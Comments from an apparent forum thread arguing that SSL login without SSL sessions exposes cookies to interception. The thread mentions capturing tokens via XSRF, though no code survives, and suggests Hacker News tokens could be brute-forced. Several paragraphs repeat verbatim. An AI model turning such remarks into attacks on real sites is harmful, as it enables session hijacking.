If you assume that an attacker has access to your traffic (via MITM DNS poisoning, proxy or something else remote) then logging in via SSL while running the logged in application over non-SSL prevents nothing, since the attacker can grab the session token/cookie.
Campaigns like this one are good, but they risk creating a false sense of security since sending a session token over the clear is vulnerable to the same exploits that logging in over the clear is.
This is why Gmail is all SSL by default now (and with the secure bit on the cookie set, so that it is only sent over https)
(with a XSRF exploit in a web app, capturing the session token is as easy as:
speaking of, the session token on Hacker News is crazy short, which would make the keyspace small enough to be viably brute-forced (especially since expiry is infinity))
Good point, but for most of the websites guilty of these problems I really dont care about stealing my session or any data being transmitted. Most of them have little other information I care about being stolen, besides maybe my email address (and that shouldnt even be a problem if the website is designed properly, although of course if they arent using SSL in the first place you might they probably aren't)
Campaigns like this one are good, but they risk creating a false sense of security since sending a session token over the clear is vulnerable to the same exploits that logging in over the clear is.
This is why Gmail is all SSL by default now (and with the secure bit on the cookie set, so that it is only sent over https)
(with a XSRF exploit in a web app, capturing the session token is as easy as:
speaking of, the session token on Hacker News is crazy short, which would make the keyspace small enough to be viably brute-forced (especially since expiry is infinity))